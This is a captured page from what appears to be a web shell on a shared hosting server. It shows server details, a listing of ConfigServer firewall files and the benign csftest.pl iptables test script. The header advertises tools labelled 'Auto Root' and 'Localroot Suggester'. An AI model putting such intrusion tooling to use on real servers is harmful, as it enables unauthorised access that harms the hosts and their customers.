Linux server1.hosting4iran.com 4.18.0-553.123.2.el8_10.x86_64 #1 SMP Thu May 7 15:28:41 EDT 2026 x86_64
LiteSpeed
Server IP : 185.208.174.156 & Your IP : 216.73.216.67
Domains : 318 Domain
User : satitravel
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
ConfigServer-Security-Firewall-CSF-main /
Delete
Unzip
Name
Size
Permission
Date
Action
ConfigServer
[ DIR ]
drwxrwxr-x
2022-02-28 12:44
Crypt
[ DIR ]
drwxrwxr-x
2022-02-28 12:44
HTTP
[ DIR ]
drwxrwxr-x
2022-02-28 12:44
JSON
[ DIR ]
drwxrwxr-x
2022-02-28 12:44
Module
[ DIR ]
drwxrwxr-x
2022-02-28 12:44
Net
[ DIR ]
drwxrwxr-x
2022-02-28 12:44
cpanel
[ DIR ]
drwxrwxr-x
2025-12-28 11:53
csf
[ DIR ]
drwxrwxr-x
2022-02-28 12:44
cwp
[ DIR ]
drwxrwxr-x
2022-02-28 12:44
cyberpanel
[ DIR ]
drwxrwxr-x
2022-02-28 12:44
da
[ DIR ]
drwxrwxr-x
2022-02-28 12:44
interworx
[ DIR ]
drwxrwxr-x
2022-02-28 12:44
messenger
[ DIR ]
drwxrwxr-x
2022-02-28 12:44
profiles
[ DIR ]
drwxrwxr-x
2022-02-28 12:44
ui
[ DIR ]
drwxrwxr-x
2022-02-28 12:44
version
[ DIR ]
drwxrwxr-x
2022-02-28 12:44
vestacp
[ DIR ]
drwxrwxr-x
2022-02-28 12:44
webmin
[ DIR ]
drwxrwxr-x
2022-02-28 12:44
.gitattributes
66
B
-rw-rw-r--
2022-02-28 12:44
README.md
6.05
KB
-rw-rw-r--
2022-02-28 12:44
accounttracking.txt
124
B
-rw-rw-r--
2022-02-28 12:44
alert.txt
181
B
-rw-rw-r--
2022-02-28 12:44
apache.http.txt
770
B
-rw-rw-r--
2022-02-28 12:44
apache.https.txt
1
KB
-rw-rw-r--
2022-02-28 12:44
apache.main.txt
0
B
-rw-rw-r--
2022-02-28 12:44
apf_stub.pl
976
B
-rwxrwxr-x
2022-02-28 12:44
auto.cwp.pl
15.01
KB
-rwxrwxr-x
2022-02-28 12:44
auto.cyberpanel.pl
14.56
KB
-rwxrwxr-x
2022-02-28 12:44
auto.directadmin.pl
15.41
KB
-rwxrwxr-x
2022-02-28 12:44
auto.generic.pl
14.56
KB
-rwxrwxr-x
2022-02-28 12:44
auto.interworx.pl
14.56
KB
-rwxrwxr-x
2022-02-28 12:44
auto.pl
31.76
KB
-rwx------
2025-12-28 11:53
auto.vesta.pl
15.07
KB
-rwxrwxr-x
2022-02-28 12:44
changelog.txt
219.96
KB
-rw-rw-r--
2022-02-28 12:44
connectiontracking.txt
192
B
-rw-rw-r--
2022-02-28 12:44
consolealert.txt
76
B
-rw-rw-r--
2022-02-28 12:44
cpanel.allow
3.76
KB
-rw-rw-r--
2022-02-28 12:44
cpanel.comodo.allow
1.84
KB
-rw-rw-r--
2022-02-28 12:44
cpanel.comodo.ignore
1.02
KB
-rw-rw-r--
2022-02-28 12:44
cpanel.ignore
958
B
-rw-rw-r--
2022-02-28 12:44
cpanelalert.txt
136
B
-rw-rw-r--
2022-02-28 12:44
csf.1.txt
7.7
KB
-rw-rw-r--
2022-02-28 12:44
csf.allow
891
B
-rw-rw-r--
2022-02-28 12:44
csf.blocklists
4.42
KB
-rw-rw-r--
2022-02-28 12:44
csf.c
1.53
KB
-rw-rw-r--
2022-02-28 12:44
csf.cloudflare
1.65
KB
-rw-rw-r--
2022-02-28 12:44
csf.conf
115.42
KB
-rw-rw-r--
2022-02-28 12:44
csf.cwp.allow
814
B
-rw-rw-r--
2022-02-28 12:44
csf.cwp.conf
109.38
KB
-rw-rw-r--
2022-02-28 12:44
csf.cwp.ignore
507
B
-rw-rw-r--
2022-02-28 12:44
csf.cwp.pignore
2.99
KB
-rw-rw-r--
2022-02-28 12:44
csf.cyberpanel.allow
814
B
-rw-rw-r--
2022-02-28 12:44
csf.cyberpanel.conf
109.13
KB
-rw-rw-r--
2022-02-28 12:44
csf.cyberpanel.ignore
507
B
-rw-rw-r--
2022-02-28 12:44
csf.cyberpanel.pignore
2.67
KB
-rw-rw-r--
2022-02-28 12:44
csf.deny
812
B
-rw-rw-r--
2022-02-28 12:44
csf.directadmin.allow
814
B
-rw-rw-r--
2022-02-28 12:44
csf.directadmin.conf
111.6
KB
-rw-rw-r--
2022-02-28 12:44
csf.directadmin.ignore
507
B
-rw-rw-r--
2022-02-28 12:44
csf.directadmin.pignore
2.42
KB
-rw-rw-r--
2022-02-28 12:44
csf.dirwatch
636
B
-rw-rw-r--
2022-02-28 12:44
csf.div
12.44
KB
-rw-rw-r--
2022-02-28 12:44
csf.dyndns
939
B
-rw-rw-r--
2022-02-28 12:44
csf.fignore
972
B
-rw-rw-r--
2022-02-28 12:44
csf.generic.allow
814
B
-rw-rw-r--
2022-02-28 12:44
csf.generic.conf
109.08
KB
-rw-rw-r--
2022-02-28 12:44
csf.generic.ignore
507
B
-rw-rw-r--
2022-02-28 12:44
csf.generic.pignore
1.96
KB
-rw-rw-r--
2022-02-28 12:44
csf.help
7.72
KB
-rw-rw-r--
2025-12-28 11:53
csf.ignore
577
B
-rw-rw-r--
2022-02-28 12:44
csf.interworx.allow
814
B
-rw-rw-r--
2022-02-28 12:44
csf.interworx.conf
109.42
KB
-rw-rw-r--
2022-02-28 12:44
csf.interworx.ignore
507
B
-rw-rw-r--
2022-02-28 12:44
csf.interworx.pignore
2.54
KB
-rw-rw-r--
2022-02-28 12:44
csf.logfiles
856
B
-rw-rw-r--
2022-02-28 12:44
csf.logignore
3.96
KB
-rw-rw-r--
2022-02-28 12:44
csf.mignore
408
B
-rw-rw-r--
2022-02-28 12:44
csf.pignore
4.86
KB
-rw-rw-r--
2022-02-28 12:44
csf.pl
244.3
KB
-rwx------
2025-12-28 11:53
csf.rblconf
747
B
-rw-rw-r--
2022-02-28 12:44
csf.rbls
1.82
KB
-rw-rw-r--
2022-02-28 12:44
csf.redirect
1.12
KB
-rw-rw-r--
2022-02-28 12:44
csf.resellers
2.1
KB
-rw-rw-r--
2022-02-28 12:44
csf.rignore
1.58
KB
-rw-rw-r--
2022-02-28 12:44
csf.service
270
B
-rw-rw-r--
2022-02-28 12:44
csf.sh
1.89
KB
-rwxrwxr-x
2022-02-28 12:44
csf.signore
413
B
-rw-rw-r--
2022-02-28 12:44
csf.sips
510
B
-rw-rw-r--
2022-02-28 12:44
csf.smtpauth
660
B
-rw-rw-r--
2022-02-28 12:44
csf.suignore
368
B
-rw-rw-r--
2022-02-28 12:44
csf.syslogs
2.16
KB
-rw-rw-r--
2022-02-28 12:44
csf.syslogusers
1.33
KB
-rw-rw-r--
2022-02-28 12:44
csf.uidignore
457
B
-rw-rw-r--
2022-02-28 12:44
csf.vesta.allow
814
B
-rw-rw-r--
2022-02-28 12:44
csf.vesta.conf
109.29
KB
-rw-rw-r--
2022-02-28 12:44
csf.vesta.ignore
507
B
-rw-rw-r--
2022-02-28 12:44
csf.vesta.pignore
3.05
KB
-rw-rw-r--
2022-02-28 12:44
csfajaxtail.js
3.82
KB
-rw-rw-r--
2022-02-28 12:44
csfcron.sh
14
B
-rwxrwxr-x
2022-02-28 12:44
csftest.pl
5.87
KB
-rwxrwxr-x
2025-12-28 11:53
csget.pl
3.24
KB
-rwxrwxr-x
2022-02-28 12:44
downloadservers
53
B
-rw-rw-r--
2022-02-28 12:44
exploitalert.txt
129
B
-rw-rw-r--
2022-02-28 12:44
filealert.txt
151
B
-rw-rw-r--
2022-02-28 12:44
forkbombalert.txt
132
B
-rw-rw-r--
2022-02-28 12:44
install.cpanel.sh
18.94
KB
-rwxrwxr-x
2022-02-28 12:44
install.cwp.sh
17.06
KB
-rwxrwxr-x
2022-02-28 12:44
install.cyberpanel.sh
16.93
KB
-rwxrwxr-x
2022-02-28 12:44
install.directadmin.sh
16.39
KB
-rwxrwxr-x
2022-02-28 12:44
install.generic.sh
15.62
KB
-rwxrwxr-x
2022-02-28 12:44
install.interworx.sh
16.85
KB
-rwxrwxr-x
2022-02-28 12:44
install.sh
1.05
KB
-rwxrwxr-x
2022-02-28 12:44
install.txt
2.66
KB
-rw-rw-r--
2022-02-28 12:44
install.vesta.sh
15.97
KB
-rwxrwxr-x
2022-02-28 12:44
integrityalert.txt
374
B
-rw-rw-r--
2022-02-28 12:44
lfd.logrotate
172
B
-rw-rw-r--
2022-02-28 12:44
lfd.pl
381.87
KB
-rwx------
2025-12-28 11:53
lfd.service
215
B
-rw-rw-r--
2025-12-28 11:53
lfd.sh
2.13
KB
-rwxrwxr-x
2022-02-28 12:44
lfdcron.directadmin.sh
74
B
-rwxrwxr-x
2022-02-28 12:44
lfdcron.sh
74
B
-rwxrwxr-x
2022-02-28 12:44
license.txt
10.46
KB
-rw-rw-r--
2022-02-28 12:44
litespeed.http.txt
262
B
-rw-rw-r--
2022-02-28 12:44
litespeed.https.txt
1.17
KB
-rw-rw-r--
2022-02-28 12:44
litespeed.main.txt
0
B
-rw-rw-r--
2022-02-28 12:44
loadalert.txt
1.19
KB
-rw-rw-r--
2022-02-28 12:44
logalert.txt
103
B
-rw-rw-r--
2022-02-28 12:44
logfloodalert.txt
101
B
-rw-rw-r--
2022-02-28 12:44
migratedata.sh
8.35
KB
-rwxrwxr-x
2022-02-28 12:44
modsecipdbalert.txt
211
B
-rw-rw-r--
2022-02-28 12:44
netblock.txt
191
B
-rw-rw-r--
2022-02-28 12:44
os.pl
6.96
KB
-rwx------
2025-12-28 11:53
perf.sh
361
B
-rwxrwxr-x
2022-02-28 12:44
permblock.txt
209
B
-rw-rw-r--
2022-02-28 12:44
portknocking.txt
129
B
-rw-rw-r--
2022-02-28 12:44
portscan.txt
175
B
-rw-rw-r--
2022-02-28 12:44
processtracking.txt
391
B
-rw-rw-r--
2022-02-28 12:44
pt_deleted_action.pl
1.11
KB
-rwxrwxr-x
2025-12-28 11:53
queuealert.txt
97
B
-rw-rw-r--
2022-02-28 12:44
readme.txt
66.09
KB
-rw-rw-r--
2022-02-28 12:44
recaptcha.txt
143
B
-rw-rw-r--
2022-02-28 12:44
regex.custom.pm
2.14
KB
-rw-rw-r--
2025-12-28 11:53
regex.txt
13.25
KB
-rw-rw-r--
2022-02-28 12:44
relayalert.txt
196
B
-rw-rw-r--
2022-02-28 12:44
remove_apf_bfd.sh
397
B
-rwxrwxr-x
2022-02-28 12:44
resalert.txt
260
B
-rw-rw-r--
2022-02-28 12:44
reselleralert.txt
181
B
-rw-rw-r--
2022-02-28 12:44
restricted.txt
1.2
KB
-rw-rw-r--
2022-02-28 12:44
sanity.txt
4.93
KB
-rw-rw-r--
2022-02-28 12:44
scriptalert.txt
200
B
-rw-rw-r--
2022-02-28 12:44
sshalert.txt
176
B
-rw-rw-r--
2022-02-28 12:44
sualert.txt
161
B
-rw-rw-r--
2022-02-28 12:44
sudoalert.txt
161
B
-rw-rw-r--
2022-02-28 12:44
syslogalert.txt
194
B
-rw-rw-r--
2022-02-28 12:44
tracking.txt
298
B
-rw-rw-r--
2022-02-28 12:44
uialert.txt
129
B
-rw-rw-r--
2022-02-28 12:44
uidscan.txt
150
B
-rw-rw-r--
2022-02-28 12:44
uninstall.cwp.sh
1.73
KB
-rwxrwxr-x
2022-02-28 12:44
uninstall.cyberpanel.sh
1.94
KB
-rwxrwxr-x
2022-02-28 12:44
uninstall.directadmin.sh
1.64
KB
-rwxrwxr-x
2022-02-28 12:44
uninstall.generic.sh
1.52
KB
-rwxrwxr-x
2022-02-28 12:44
uninstall.interworx.sh
1.85
KB
-rwxrwxr-x
2022-02-28 12:44
uninstall.sh
2.21
KB
-rwxrwxr-x
2022-02-28 12:44
uninstall.vesta.sh
1.68
KB
-rwxrwxr-x
2022-02-28 12:44
upgrade.txt
720
B
-rw-rw-r--
2022-02-28 12:44
usertracking.txt
192
B
-rw-rw-r--
2022-02-28 12:44
version.txt
5
B
-rw-rw-r--
2022-02-28 12:44
watchalert.txt
129
B
-rw-rw-r--
2022-02-28 12:44
webminalert.txt
146
B
-rw-rw-r--
2022-02-28 12:44
x-arf.txt
1.2
KB
-rw-rw-r--
2022-02-28 12:44
Save
Rename
#!/usr/bin/perl ############################################################################### # Copyright 2006-2018, Way to the Web Limited # URL: http://www.configserver.com # Email: sales@waytotheweb.com ############################################################################### ## no critic (ProhibitBarewordFileHandles, ProhibitExplicitReturnUndef, ProhibitMixedBooleanOperators, RequireBriefOpen) # start main use strict; use IPC::Open3; umask(0177); our ($return, $fatal, $error); $fatal = 0; $error = 0; #my @modules = ("ip_tables","ipt_state","ipt_multiport","iptable_filter","ipt_limit","ipt_LOG","ipt_REJECT","ipt_conntrack","ip_conntrack","ip_conntrack_ftp","iptable_mangle","ip_tables","xt_state","xt_multiport","iptable_filter","xt_limit","ipt_LOG","ipt_REJECT","ip_conntrack_ftp","iptable_mangle","xt_conntrack"); #push @modules,"ipt_owner"; #push @modules,"xt_owner"; #push @modules,"ipt_REDIRECT"; #push @modules,"iptable_nat"; #push @modules,"ipt_recent ip_list_tot=1000 ip_list_hash_size=0"; #foreach my $module (@modules) {&loadmodule($module)} print "Testing ip_tables/iptable_filter..."; $return = &testiptables("/sbin/iptables -I OUTPUT -p tcp --dport 9999 -j ACCEPT"); if ($return ne "") { print "FAILED [FATAL Error: $return] - Required for csf to function\n"; $fatal++; } else { print "OK\n"; &testiptables("/sbin/iptables -D OUTPUT -p tcp --dport 9999 -j ACCEPT"); } print "Testing ipt_LOG..."; $return = &testiptables("/sbin/iptables -I OUTPUT -p tcp --dport 9999 -j LOG"); if ($return ne "") { print "FAILED [FATAL Error: $return] - Required for csf to function\n"; $fatal++; } else { print "OK\n"; &testiptables("/sbin/iptables -D OUTPUT -p tcp --dport 9999 -j LOG"); } print "Testing ipt_multiport/xt_multiport..."; $return = &testiptables("/sbin/iptables -I OUTPUT -p tcp -m multiport --dports 9998,9999 -j LOG"); if ($return ne "") { print "FAILED [FATAL Error: $return] - Required for csf to function\n"; $fatal++; } else { print "OK\n"; &testiptables("/sbin/iptables -D OUTPUT -p tcp -m multiport --dports 9998,9999 -j LOG"); } print "Testing ipt_REJECT..."; $return = &testiptables("/sbin/iptables -I OUTPUT -p tcp --dport 9999 -j REJECT"); if ($return ne "") { print "FAILED [FATAL Error: $return] - Required for csf to function\n"; $fatal++; } else { print "OK\n"; &testiptables("/sbin/iptables -D OUTPUT -p tcp --dport 9999 -j REJECT"); } print "Testing ipt_state/xt_state..."; $return = &testiptables("/sbin/iptables -I OUTPUT -p tcp --dport 9999 -m state --state NEW -j LOG"); if ($return ne "") { print "FAILED [FATAL Error: $return] - Required for csf to function\n"; $fatal++; } else { print "OK\n"; &testiptables("/sbin/iptables -D OUTPUT -p tcp --dport 9999 -m state --state NEW -j LOG"); } print "Testing ipt_limit/xt_limit..."; $return = &testiptables("/sbin/iptables -I OUTPUT -p tcp --dport 9999 -m limit --limit 30/m --limit-burst 5 -j LOG"); if ($return ne "") { print "FAILED [FATAL Error: $return] - Required for csf to function\n"; $fatal++; } else { print "OK\n"; &testiptables("/sbin/iptables -D OUTPUT -p tcp --dport 9999 -m limit --limit 30/m --limit-burst 5 -j LOG"); } print "Testing ipt_recent..."; $return = &testiptables("/sbin/iptables -I OUTPUT -p tcp --dport 9999 -m recent --set"); if ($return ne "") { print "FAILED [Error: $return] - Required for PORTFLOOD and PORTKNOCKING features\n"; $error++; } else { print "OK\n"; &testiptables("/sbin/iptables -D OUTPUT -p tcp --dport 9999 -m recent --set"); } print "Testing xt_connlimit..."; $return = &testiptables("/sbin/iptables -I INPUT -p tcp --dport 9999 -m connlimit --connlimit-above 100 -j REJECT --reject-with tcp-reset"); if ($return ne "") { print "FAILED [Error: $return] - Required for CONNLIMIT feature\n"; $error++; } else { print "OK\n"; &testiptables("/sbin/iptables -D INPUT -p tcp --dport 9999 -m connlimit --connlimit-above 100 -j REJECT --reject-with tcp-reset"); } print "Testing ipt_owner/xt_owner..."; $return = &testiptables("/sbin/iptables -I OUTPUT -p tcp --dport 9999 -m owner --uid-owner 0 -j LOG"); if ($return ne "") { print "FAILED [Error: $return] - Required for SMTP_BLOCK and UID/GID blocking features\n"; $error++; } else { print "OK\n"; &testiptables("/sbin/iptables -D OUTPUT -p tcp --dport 9999 -m owner --uid-owner 0 -j LOG"); } print "Testing iptable_nat/ipt_REDIRECT..."; $return = &testiptables("/sbin/iptables -t nat -I OUTPUT -p tcp --dport 9999 -j REDIRECT --to-ports 9900"); if ($return ne "") { print "FAILED [Error: $return] - Required for MESSENGER feature\n"; $error++; } else { print "OK\n"; &testiptables("/sbin/iptables -t nat -D OUTPUT -p tcp --dport 9999 -j REDIRECT --to-ports 9900"); } print "Testing iptable_nat/ipt_DNAT..."; $return = &testiptables("/sbin/iptables -t nat -I PREROUTING -p tcp --dport 9999 -j DNAT --to-destination 192.168.254.1"); if ($return ne "") { print "FAILED [Error: $return] - Required for csf.redirect feature\n"; $error++; } else { print "OK\n"; &testiptables("/sbin/iptables -t nat -D PREROUTING -p tcp --dport 9999 -j DNAT --to-destination 192.168.254.1"); } if ($fatal) {print "\nRESULT: csf will not function on this server due to FATAL errors from missing modules [$fatal]\n"} elsif ($error) {print "\nRESULT: csf will function on this server but some features will not work due to some missing iptables modules [$error]\n"} else {print "\nRESULT: csf should function on this server\n"} sub testiptables { my $command = shift; my ($childin, $childout); my $cmdpid = open3($childin, $childout, $childout, $command); my @ipdata = <$childout>; waitpid ($cmdpid, 0); chomp @ipdata; return $ipdata[0]; } sub loadmodule { my $module = shift; my @output; eval { local $SIG{__DIE__} = undef; local $SIG{'ALRM'} = sub {die}; alarm(5); my ($childin, $childout); my $pid = open3($childin, $childout, $childout, "modprobe $module"); @output = <$childout>; waitpid ($pid, 0); alarm(0); }; alarm(0); return @output; }